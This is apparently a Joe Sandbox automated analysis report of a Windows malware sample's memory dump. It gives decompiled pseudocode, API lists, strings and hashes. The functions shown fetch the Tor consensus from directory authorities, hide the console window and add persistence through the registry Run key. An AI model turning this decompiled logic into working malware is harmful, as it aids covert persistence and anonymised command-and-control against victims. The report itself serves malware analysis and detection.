ChainingMode, xrefs: 00007FF79BAA279E, 00007FF79BAA27DE
SHA1, xrefs: 00007FF79BAA28A3
ECDH, xrefs: 00007FF79BAA2849
bcrypt_alt_prov, xrefs: 00007FF79BAA2733

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$AlgorithmOpenProvider$Property$EnvironmentLibraryLoadVariable
String ID: AES$ChainingMode$ChainingModeCBC$ChainingModeECB$ECCCurveName$ECDH$RNG$RSA$SHA1$SHA256$bcrypt_alt.dll$bcrypt_alt_prov$curve25519
API String ID: 2393475537-1894849930
Opcode ID: f874cb0d683a4e347ef30a04b18bbf398921333c48d317d0444699f665546e5e
Instruction ID: fbf16274964a9f3c4f5302569948e3d0609209d9d532885379125fad18a31a40
Opcode Fuzzy Hash: f874cb0d683a4e347ef30a04b18bbf398921333c48d317d0444699f665546e5e
Instruction Fuzzy Hash: 1E419561A18A2AA1FA20FB3CF855E61A3A0FFA9744FC15133C86D56570DF7CA349C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA8738 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 157
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E00007FF77FF79BAA8738(void* __eax, void* __ecx, long long __rbx, signed short* __rcx, long long __rdx, long long __rsi, intOrPtr* __r8) {
				void* _t85;
				void* _t88;
				void* _t107;
				void* _t110;
				signed short* _t122;
				signed short* _t130;
				intOrPtr _t135;
				void* _t165;
				void* _t171;
				void* _t172;
				void* _t174;
				void* _t175;
				long long _t187;
				void* _t190;
				void* _t193;
				void* _t197;
				long long _t198;

				_t169 = __rsi;
				_t130 = __rcx;
				_t110 = _t174;
				 *((long long*)(_t110 + 0x10)) = __rdx;
				_t172 = _t110 - 0x5f;
				_t175 = _t174 - 0x100;
				 *((long long*)(_t172 - 0x59)) = 0xfffffffe;
				 *((long long*)(_t110 + 8)) = __rbx;
				 *((long long*)(_t110 + 0x20)) = __rsi;
				_t198 = __rdx;
				_t122 = __rcx;
				 *((intOrPtr*)(_t175 + 0x30)) = 0;
				_t107 = r9b;
				if (_t107 != 0) goto 0x9baa885a;
				if (_t107 == 0) goto 0x9baa885a;
				_t13 = _t130 + 8; // 0x9
				E00007FF77FF79BAA8AC0(__rcx, _t172 - 0x51, _t13, __rsi, _t197);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x29], xmm0");
				 *(_t172 - 0x19) = _t165;
				asm("movdqu [ebp-0x9], xmm0");
				 *(_t172 + 7) = _t165;
				 *((short*)(_t172 + 0xf)) =  *_t122 & 0x0000ffff;
				E00007FF77FF79BAA83D4(_t122, _t122, _t172 - 0x79, _t172 - 0x51, _t193);
				__imp__CryptGenRandom();
				_t135 =  *((intOrPtr*)(_t172 - 0x71));
				if (( *((intOrPtr*)(_t172 - 0x69)) - _t135 & 0xfffffff8) == 0) goto 0x9baa8825;
				free(_t190);
				free(_t165);
				free(_t171);
				free(??);
				r14d =  *( *((intOrPtr*)(_t135 + (_t172 + 0x7f) * 8)) + 0x5e) & 0x0000ffff;
				goto 0x9baa88a3;
				__imp__CryptGenRandom();
				__imp__#12(); // executed
				E00007FF77FF79BAA1BA8(0x9bab3400, _t172 - 0x79);
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				 *((long long*)(_t175 + 0x28)) =  *((intOrPtr*)(__r8));
				 *(_t175 + 0x20) = r14w & 0xffffffff;
				_t85 = E00007FF77FF79BAA1720(0, 0, 0x9babd010, "consensus::download_from_random_authority() [path: http://%s:%u%s]\n",  *((intOrPtr*)(0x7ff79bab3408)));
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				E00007FF77FF79BAA1BDC(_t85, _t172 - 0x79);
				asm("inc ecx");
				asm("movdqu [ebp-0x79], xmm0");
				__imp__#12(); // executed
				E00007FF77FF79BAA1BA8(0x9bab3400, _t172 + 0x17);
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				_t187 =  *((intOrPtr*)(0x7ff79bab3408));
				asm("dec eax");
				 *((long long*)(_t175 + 0x40)) = _t187;
				 *((long long*)(_t175 + 0x48)) = ( *0x7FF79BAB3410 - _t187 - 0x00000001 & 0x9bab3400) + _t187;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				r8d = r14w & 0xffffffff;
				_t88 = E00007FF77FF79BAA36DC( *((intOrPtr*)(0x9bab3400 + ( *((intOrPtr*)(_t172 + 0x77)) - (_t172 + 0x7f >> 3) + (_t172 + 0x7f >> 3) * 8) * 8)), _t198, _t175 + 0x40, _t169, _t172 - 0x79); // executed
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				 *((intOrPtr*)(_t175 + 0x30)) = 1;
				return E00007FF77FF79BAA1BDC(_t88, _t172 + 0x17);
			}

0x7ff79baa8738
0x7ff79baa8738
0x7ff79baa8738
0x7ff79baa873b
0x7ff79baa8747
0x7ff79baa874b
0x7ff79baa8752
0x7ff79baa875a
0x7ff79baa875e
0x7ff79baa8765
0x7ff79baa8768
0x7ff79baa876d
0x7ff79baa8771
0x7ff79baa8774
0x7ff79baa879d
0x7ff79baa87a3
0x7ff79baa87ab
0x7ff79baa87b1
0x7ff79baa87b4
0x7ff79baa87b9
0x7ff79baa87bd
0x7ff79baa87c2
0x7ff79baa87c9
0x7ff79baa87d8
0x7ff79baa87ff
0x7ff79baa8812
0x7ff79baa881f
0x7ff79baa8829
0x7ff79baa8834
0x7ff79baa883f
0x7ff79baa884a
0x7ff79baa8853
0x7ff79baa8858
0x7ff79baa886f
0x7ff79baa88a9
0x7ff79baa88ba
0x7ff79baa88c4
0x7ff79baa88d0
0x7ff79baa88d5
0x7ff79baa88e9
0x7ff79baa88f1
0x7ff79baa88f9
0x7ff79baa88fe
0x7ff79baa8903
0x7ff79baa890a
0x7ff79baa891b
0x7ff79baa8923
0x7ff79baa8927
0x7ff79baa8939
0x7ff79baa8942
0x7ff79baa8947
0x7ff79baa894c
0x7ff79baa8951
0x7ff79baa895b
0x7ff79baa8967
0x7ff79baa896f
0x7ff79baa8976
0x7ff79baa89a1

APIs

CryptGenRandom.ADVAPI32 ref: 00007FF79BAA87FF
free.MSVCRT ref: 00007FF79BAA8829
free.MSVCRT ref: 00007FF79BAA8834
free.MSVCRT ref: 00007FF79BAA883F
free.MSVCRT ref: 00007FF79BAA884A
CryptGenRandom.ADVAPI32 ref: 00007FF79BAA886F
inet_ntoa.WS2_32 ref: 00007FF79BAA88A9
inet_ntoa.WS2_32 ref: 00007FF79BAA890A

Strings

consensus::download_from_random_authority() [path: http://%s:%u%s], xrefs: 00007FF79BAA88D9
gfffffff, xrefs: 00007FF79BAA8782

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptRandominet_ntoa
String ID: consensus::download_from_random_authority() [path: http://%s:%u%s]$gfffffff
API String ID: 3056602706-1112183986
Opcode ID: c9d3b8e51bc7b98420f77e56333e4058a3b3850735fead3335ef4cbcaefae632
Instruction ID: 4bfdb64212fb78303c5a8a37d8fff6937806bd8c925b06b45d1010be122f427e
Opcode Fuzzy Hash: c9d3b8e51bc7b98420f77e56333e4058a3b3850735fead3335ef4cbcaefae632
Instruction Fuzzy Hash: 7061D063B14A4996EB10DF7AE8404ECB371FB98BA4B505232EE6D53BA8DF38D505C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA1024 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24
encryptionlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32 ref: 00007FF79BAA1034
LoadLibraryA.KERNEL32 ref: 00007FF79BAA1045
CryptAcquireContextA.ADVAPI32 ref: 00007FF79BAA1069
CryptAcquireContextA.ADVAPI32 ref: 00007FF79BAA108D

Strings

csp_alt.dll, xrefs: 00007FF79BAA103E
csp_alt_prov, xrefs: 00007FF79BAA102B
Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 00007FF79BAA1059
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider, xrefs: 00007FF79BAA107D

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: AcquireContextCrypt$EnvironmentLibraryLoadVariable
String ID: Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider$Microsoft Enhanced RSA and AES Cryptographic Provider$csp_alt.dll$csp_alt_prov
API String ID: 2970050021-3829227113
Opcode ID: 9d58d0891175f3361f5d80cf370a4b3ede3aadc786bc650999dcf396d6323e88
Instruction ID: dd131d21352540cd0a95c6f5315dc1a9a1e6bc19bfa1605f89af833d23bdcf3d
Opcode Fuzzy Hash: 9d58d0891175f3361f5d80cf370a4b3ede3aadc786bc650999dcf396d6323e88
Instruction Fuzzy Hash: 4EF0A821E1896AA1F730AB39EC54AA5A7A1FF94704FC44137C45E56574DF3CA309C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA4314 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00007FF77FF79BAA4314(long long __rbx, intOrPtr* __rcx, void* __r8, long long _a8) {
				void* _t12;
				void* _t32;

				_a8 = __rbx;
				if (__r8 != 0) goto 0x9baa432a;
				goto 0x9baa4373;
				r9d = 0; // executed
				__imp__#16(); // executed
				if (0 != 0) goto 0x9baa4347;
				 *((intOrPtr*)( *__rcx + 8))();
				if (0 != 0xffffffff) goto 0x9baa4370;
				__imp__#111();
				r9d = 0;
				return E00007FF77FF79BAA1720(4, _t12, 0x9babd010, "tcp_socket::read_impl recv error: %i\n", _t32);
			}

0x7ff79baa4314
0x7ff79baa4324
0x7ff79baa4328
0x7ff79baa432e
0x7ff79baa4331
0x7ff79baa433c
0x7ff79baa4344
0x7ff79baa434b
0x7ff79baa4351
0x7ff79baa4357
0x7ff79baa437d

APIs

recv.WS2_32 ref: 00007FF79BAA4331
WSAGetLastError.WS2_32 ref: 00007FF79BAA4351

Strings

tcp_socket::read_impl recv error: %i, xrefs: 00007FF79BAA435A

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: ErrorLastrecv
String ID: tcp_socket::read_impl recv error: %i
API String ID: 2514157807-4185223013
Opcode ID: 07014b737d3f776e2f2df875af120e6aa36a584b508dbfe556d7034676576359
Instruction ID: c3d65b1865a052d71c6cdec4ba65d8b925b67663e5312f48238c73a26f291731
Opcode Fuzzy Hash: 07014b737d3f776e2f2df875af120e6aa36a584b508dbfe556d7034676576359
Instruction Fuzzy Hash: 9AF0A921A08A4B51DB20BB39F540978A391EF55BE4B805331DA7E476F4DF3CE6458370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA1160 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 00007FF79BAA11CD
memcmp.MSVCRT ref: 00007FF79BAA11FB
memcmp.MSVCRT ref: 00007FF79BAA122D
memcmp.MSVCRT ref: 00007FF79BAA1260
memcmp.MSVCRT ref: 00007FF79BAA1292
GetConsoleWindow.KERNEL32 ref: 00007FF79BAA12A5
GetConsoleWindow.KERNELBASE ref: 00007FF79BAA12B2
ShowWindow.USER32 ref: 00007FF79BAA12BD
free.MSVCRT ref: 00007FF79BAA132F
SleepEx.KERNEL32 ref: 00007FF79BAA1386

Strings

info, xrefs: 00007FF79BAA1223
cached-consensus, xrefs: 00007FF79BAA12C8
error, xrefs: 00007FF79BAA1288
debug, xrefs: 00007FF79BAA11F1
warning, xrefs: 00007FF79BAA1256

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memcmp$Window$Console$ShowSleepfree
String ID: cached-consensus$debug$error$info$warning
API String ID: 4256011749-3964234580
Opcode ID: 79a77217a72c1d3e386e0358159793065e30f0385f5838b99b9a8c0d92e2807e
Instruction ID: 5a676745f452ae58c257f1b9840c2451a10ff2f7966ee2f4da3b0fb18f3974d3
Opcode Fuzzy Hash: 79a77217a72c1d3e386e0358159793065e30f0385f5838b99b9a8c0d92e2807e
Instruction Fuzzy Hash: D3619F61F08759A9FB30EB78D840ABCB3A2EB15754FC00235DE5D526A4DF38E649C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA41AC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

gethostbyname.WS2_32 ref: 00007FF79BAA41CA
htons.WS2_32 ref: 00007FF79BAA41E9
memmove.MSVCRT(?,?,?,?,?,?,?,00007FF79BAA3736), ref: 00007FF79BAA4205
socket.WS2_32 ref: 00007FF79BAA421A
setsockopt.WS2_32 ref: 00007FF79BAA4252
setsockopt.WS2_32 ref: 00007FF79BAA429C
connect.WS2_32 ref: 00007FF79BAA42C9
WSAGetLastError.WS2_32 ref: 00007FF79BAA42D4

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

Strings

tcp_socket::connect setsockopt SO_SNDTIMEO error: %i, xrefs: 00007FF79BAA42A9
tcp_socket::connect connect error: %i, xrefs: 00007FF79BAA42DA
tcp_socket::connect setsockopt SO_RCVTIMEO error: %i, xrefs: 00007FF79BAA426B

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: setsockopt$CurrentErrorLastLocalThreadTime_cwprintf_s_lconnectgethostbynamehtonsmemmovesocket
String ID: tcp_socket::connect connect error: %i$tcp_socket::connect setsockopt SO_RCVTIMEO error: %i$tcp_socket::connect setsockopt SO_SNDTIMEO error: %i
API String ID: 2396662901-3524291084
Opcode ID: d28ba8978c4815efc8a7190eaa65512aeaec23b725c6f5e8e2e73fba0cded385
Instruction ID: e5e44ecf7057300110091b1806c3523f9d82e5065afd5522ee49c256fb11c290
Opcode Fuzzy Hash: d28ba8978c4815efc8a7190eaa65512aeaec23b725c6f5e8e2e73fba0cded385
Instruction Fuzzy Hash: BD41B731B0865A92E720AF39E410969B3A1FB84B94F805136EA5D43BB4DF3CE649C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA13B4 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 164
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF79BAA13F4
RegOpenKeyExA.KERNELBASE ref: 00007FF79BAA1423
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF79BAA1472
RegCloseKey.ADVAPI32 ref: 00007FF79BAA1481
RegEnumValueA.ADVAPI32 ref: 00007FF79BAA1509
free.MSVCRT ref: 00007FF79BAA15BE
RegSetValueExA.KERNELBASE ref: 00007FF79BAA15F1
RegCloseKey.KERNELBASE ref: 00007FF79BAA15FC

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF79BAA1415

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CloseValue$EnumFileInfoModuleNameOpenQueryfree
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 2654051921-3913687870
Opcode ID: 7e8673fcab76adb8958daac97b31a35709460a22b98fa8d6d3fefa2d558d101f
Instruction ID: 106d051566bdc69391c1504127a1b051d14f60508264bc9b2eb78e304a220e58
Opcode Fuzzy Hash: 7e8673fcab76adb8958daac97b31a35709460a22b98fa8d6d3fefa2d558d101f
Instruction Fuzzy Hash: 31710232A08B4599E720DF79E8809ADB7B1FB95794F500236EE9D43BA8DF38D640C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA81A4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF77FF79BAA81A4(signed int __rbx, long long __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, void* __r9) {
				void* __rbp;
				unsigned int _t60;
				void* _t63;
				void* _t64;
				void* _t66;
				void* _t69;
				signed int _t76;
				void* _t92;
				intOrPtr* _t130;
				long long _t133;
				long long _t135;
				void* _t137;
				void* _t138;
				void* _t140;
				long long _t144;
				void* _t148;
				void* _t150;
				void* _t152;
				CHAR* _t154;
				long long _t155;

				_t103 = __rbx;
				_t92 = _t140;
				 *((long long*)(_t92 + 8)) = __rcx;
				_t138 = _t92 - 0x5f;
				 *((long long*)(_t138 - 0x19)) = 0xfffffffe;
				 *((long long*)(_t92 + 0x10)) = __rbx;
				 *((long long*)(_t92 + 0x18)) = __rsi;
				 *((long long*)(_t92 + 0x20)) = __rdi;
				r13b = r9b;
				_t130 = __rdx;
				 *((intOrPtr*)(_t138 - 0x79)) = 0;
				r14b = 0;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x41], xmm0");
				 *(_t138 - 0x31) =  *(_t138 - 0x31) & __rbx;
				if ( *((intOrPtr*)(__rdx + 8)) ==  *__rdx) goto 0x9baa820e;
				_t60 = GetFileAttributesA(_t154); // executed
				if (_t60 ==  *0x9babd014) goto 0x9baa820e;
				if ((_t60 >> 0x00000004 & 0x00000001) == 0) goto 0x9baa8211;
				r14b = 1;
				if (r14b == 0) goto 0x9baa8254;
				 *((long long*)(_t138 - 0x29)) = "/tor/status-vote/current/consensus";
				 *((long long*)(_t138 - 0x21)) = 0x9bab48e2;
				asm("movaps xmm0, [ebp-0x29]");
				asm("movdqa [ebp-0x59], xmm0");
				r9b = r13b;
				E00007FF77FF79BAA8660(__rbx, 0x9babd020, _t138 + 0xf, _t138, _t138 - 0x59); // executed
				goto 0x9baa826f;
				asm("movups xmm0, [edi]");
				asm("movdqu [ebp-0x59], xmm0");
				_t63 = E00007FF77FF79BAA2F5C(r14b, _t103, _t138 - 0x11, _t138 - 0x59, __r9); // executed
				 *((intOrPtr*)(_t138 - 0x79)) = 1;
				 *((long long*)(_t138 - 0x41)) =  *((intOrPtr*)("/tor/server/fp/"));
				 *((long long*)("/tor/server/fp/")) =  *((intOrPtr*)(_t138 - 0x41));
				 *((long long*)(_t138 - 0x39)) =  *((intOrPtr*)(0x7ff79bab48f2));
				 *((long long*)(0x7ff79bab48f2)) =  *((intOrPtr*)(_t138 - 0x39));
				 *(_t138 - 0x31) =  *((intOrPtr*)(0x7ff79bab48fa));
				 *((long long*)(0x7ff79bab48fa)) =  *(_t138 - 0x31);
				if (2 == 0) goto 0x9baa82b7;
				 *((intOrPtr*)(_t138 - 0x79)) = 1;
				_t64 = E00007FF77FF79BAA1BDC(_t63, _t138 - 0x11);
				if (1 == 0) goto 0x9baa82cb;
				 *((intOrPtr*)(_t138 - 0x79)) = 0;
				E00007FF77FF79BAA1BDC(_t64, _t138 + 0xf);
				r12b = r14b == 0;
				_t144 =  *((intOrPtr*)(_t138 - 0x41));
				asm("dec eax");
				 *((long long*)(_t138 - 0x69)) = _t144;
				 *((long long*)(_t138 - 0x61)) = (0x9bab48e2 &  *((intOrPtr*)(_t138 - 0x39)) - _t144 - 0x00000001) + _t144;
				_t155 =  *0x9babd060; // 0x0
				_t133 =  *0x9babd058; // 0x0
				if (_t133 - _t155 >= 0) goto 0x9baa8329;
				 *((long long*)(_t138 + 0x67)) = _t133;
				free(_t152);
				if (_t133 + 0x28 - _t155 < 0) goto 0x9baa8308;
				_t135 =  *0x9babd058; // 0x0
				 *0x9babd060 = _t135;
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x59], xmm0");
				r9b = r12b;
				_t66 = E00007FF77FF79BAACD08(_t76, _t133 + 0x28 - _t155,  *((intOrPtr*)(_t133 + 8)), (0x9bab48e2 &  *((intOrPtr*)(_t138 - 0x39)) - _t144 - 0x00000001) + _t144, _t138 - 0x59);
				if (r14b != 0) goto 0x9baa8361;
				__imp__time(_t150, _t148, _t137);
				if ( *0x9babd070 - _t66 >= 0) goto 0x9baa8361;
				r14b = 1;
				goto 0x9baa8363;
				if (1 == 0) goto 0x9baa8211;
				if (r14b == 0) goto 0x9baa83a8;
				if ( *((intOrPtr*)(_t130 + 8)) ==  *_t130) goto 0x9baa83a8;
				 *((long long*)(_t138 - 0x69)) =  *((intOrPtr*)(_t138 - 0x41));
				 *((long long*)(_t138 - 0x61)) =  *((intOrPtr*)(_t138 - 0x39));
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movups xmm1, [edi]");
				asm("movdqu [ebp-0x69], xmm1");
				_t69 = E00007FF77FF79BAA3034( *((intOrPtr*)(_t130 + 8)) -  *_t130, _t138 - 0x59, _t138 - 0x59, __r9); // executed
				return E00007FF77FF79BAA1BDC(_t69, _t138 - 0x49);
			}

0x7ff79baa81a4
0x7ff79baa81a4
0x7ff79baa81a7
0x7ff79baa81b4
0x7ff79baa81bf
0x7ff79baa81c7
0x7ff79baa81cb
0x7ff79baa81cf
0x7ff79baa81d3
0x7ff79baa81d6
0x7ff79baa81db
0x7ff79baa81de
0x7ff79baa81e1
0x7ff79baa81e4
0x7ff79baa81e9
0x7ff79baa81f4
0x7ff79baa81f9
0x7ff79baa8205
0x7ff79baa820c
0x7ff79baa820e
0x7ff79baa8214
0x7ff79baa821d
0x7ff79baa8228
0x7ff79baa822c
0x7ff79baa8230
0x7ff79baa8235
0x7ff79baa8247
0x7ff79baa8252
0x7ff79baa8254
0x7ff79baa8257
0x7ff79baa8264
0x7ff79baa826f
0x7ff79baa827a
0x7ff79baa827e
0x7ff79baa828a
0x7ff79baa828e
0x7ff79baa829a
0x7ff79baa829e
0x7ff79baa82a5
0x7ff79baa82aa
0x7ff79baa82b1
0x7ff79baa82ba
0x7ff79baa82bf
0x7ff79baa82c6
0x7ff79baa82ce
0x7ff79baa82d6
0x7ff79baa82e4
0x7ff79baa82ed
0x7ff79baa82f1
0x7ff79baa82f5
0x7ff79baa82fc
0x7ff79baa8306
0x7ff79baa830b
0x7ff79baa8317
0x7ff79baa8320
0x7ff79baa8322
0x7ff79baa8329
0x7ff79baa8330
0x7ff79baa8334
0x7ff79baa8339
0x7ff79baa8340
0x7ff79baa8348
0x7ff79baa834c
0x7ff79baa8358
0x7ff79baa835c
0x7ff79baa835f
0x7ff79baa8365
0x7ff79baa836e
0x7ff79baa8377
0x7ff79baa837d
0x7ff79baa8385
0x7ff79baa8389
0x7ff79baa838d
0x7ff79baa8392
0x7ff79baa8395
0x7ff79baa83a2
0x7ff79baa83d1

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF79BAA81F9
free.MSVCRT ref: 00007FF79BAA8317
time.MSVCRT ref: 00007FF79BAA834C

Strings

cached-consensus, xrefs: 00007FF79BAA81B0
/tor/status-vote/current/consensus, xrefs: 00007FF79BAA8216

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: AttributesFilefreetime
String ID: /tor/status-vote/current/consensus$cached-consensus
API String ID: 1606450062-1934959206
Opcode ID: 7b499022b5451f5f56023035d6fe6b1f4d8fb534d228d86573c45412e16e64e5
Instruction ID: 7395d2172cc453ba565b38c039070da2c1366cb425d54ce642bc10ed3a46d184
Opcode Fuzzy Hash: 7b499022b5451f5f56023035d6fe6b1f4d8fb534d228d86573c45412e16e64e5
Instruction Fuzzy Hash: 30618E32F04B4999E710EBB9D4405ACB372FB54B58B800136CE5D27BA4DF38D695C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA22AC Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,?,?,00007FF79BAA2386), ref: 00007FF79BAA22C5
CommandLineToArgvW.SHELL32(?,?,?,00007FF79BAA2386), ref: 00007FF79BAA22D5
malloc.MSVCRT(?,?,?,00007FF79BAA2386), ref: 00007FF79BAA22E9
malloc.MSVCRT(?,?,?,00007FF79BAA2386), ref: 00007FF79BAA231D
wcstombs.MSVCRT ref: 00007FF79BAA233E

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
